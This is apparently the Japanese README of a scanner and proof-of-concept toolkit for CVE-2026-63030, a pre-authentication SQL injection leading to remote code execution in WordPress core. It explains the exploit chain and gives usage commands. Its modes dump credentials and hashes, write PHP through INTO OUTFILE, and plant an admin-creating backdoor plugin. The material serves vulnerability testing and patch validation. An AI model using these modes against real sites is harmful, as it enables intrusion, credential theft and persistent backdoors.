
CVE-2026-63030 (wp2shell) 向けスキャナーおよび概念実証ツールキット - WordPress コアにおける事前認証なしのリモートコード実行

--check-type time-based(SLEEP タイミング)と --check-type error-based(TRUE/FALSE/失敗差分)。どちらも広範な資産スキャンに安全です。--i-have-authorization フラグが必須。CVE-2026-63030("wp2shell")は、WordPress コアの事前認証リモートコード実行(RCE)脆弱性です。REST API のバッチエンドポイント(/batch/v1)におけるルート混同 / インデックス非同期バグにより、認証されていない攻撃者がサニタイズされていない author_exclude 値を WP_Query に紛れ込ませ、SQL インジェクションを引き起こします。データベースユーザーが FILE 権限を持つ環境では、SELECT ... INTO OUTFILE によるリモートコード実行に発展します。プラグインは不要で、標準構成の WordPress インストールが影響を受けます。
WordPress は 6.9.5、7.0.2、7.1-beta2 で修正をリリースしました。直ちにパッチを適用してください。お使いのインフラストラクチャでこの脆弱性のスキャンや検出のサポートが必要な場合は、[email protected] までメールしてください。詳細は fullhunt.io ブログ をご覧ください。
| ブランチ |
|---|
私たちは wp2shell(CVE-2026-63030)を公開開示当初から研究しており、お客様とともにこの脆弱性の防止に取り組んできました。このたび、CVE-2026-63030 の発見と検証のためのオープンな検出・スキャンツールをオープンソースとして公開します。これは、セキュリティチームが自社インフラストラクチャを wp2shell についてスキャンし、WAF ルールやパッチが組織の環境で攻撃チェーンを実際にブロックしているかを検証するために使用できます。
wp2shell-scan.py は、8 つのモードをサポートする単一の統合スキャナです:
注: 承認列で「Yes」とマークされたモードでは、
--i-have-authorizationフラグが必要です。
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
安全なオフライン再現のため、意図的に脆弱な WordPress 7.0.1 + MariaDB 環境(FILE 権限付与済み)が同梱されています:
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt は、次世代の攻撃表面管理(Attack Surface Management)プラットフォームです。FullHunt により、企業はすべての攻撃表面を発見し、露出を監視し、最新のセキュリティ脆弱性について継続的にスキャンすることができます。すべてが単一のプラットフォームで実現され、さらにそれ以上の機能を提供します。
FullHunt は、組織向けのエンタープライズプラットフォームを提供しています。FullHunt Enterprise Platform は、お客様向けに拡張されたスキャン機能と機能を提供します。FullHunt Enterprise Platform により、組織は外部攻撃表面を綿密に監視し、発生するすべての変更について詳細なアラートを受け取ることができます。世界中の組織が FullHunt Enterprise Platform を使用して、継続的なセキュリティおよび外部攻撃表面のセキュリティ課題を解決しています。
このプロジェクトは、教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するために wp2shell-scan を使用することは違法です。適用されるすべての地域、州、連邦法を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
このプロジェクトは MIT ライセンスの下でライセンスされています。
Mazin Ahmed
| 脆弱なバージョン |
|---|
| 修正バージョン |
|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | 影響なし(バッチエンドポイントが存在しない) | — |
| モード | 目的 | 承認 |
|---|
check | 非破壊的な検出。--check-type time-based(SLEEP タイミングプローブ)または --check-type error-based(TRUE/FALSE/失敗差分)の 2 種類のチェックをサポート。 | 不要 |
probe-endpoints | インジェクションを WP_Query に渡す REST エンドポイントを検出します。 | 不要 |
probe | N 個の SQL ペイロード応答のサイドバイサイド差分。 | 不要 |
extract | DB メタデータとハッシュのブールオラクル抽出。 | 必要 |
blind | タイミングベースのブラインド抽出(ブールオラクルが信頼できない場合のフォールバック)。 | 必要 |
exploit | 完全な SQLi → INTO OUTFILE → PHP 実行チェーンの検証。 | 必要 |
adduser | 管理者アカウントを作成する mu-plugin バックドアを書き込みます。失敗した場合はブールハッシュ抽出にフォールバック。 | 必要 |
get-users | すべての wp_users 資格情報のブールオラクルダンプ。 | 必要 |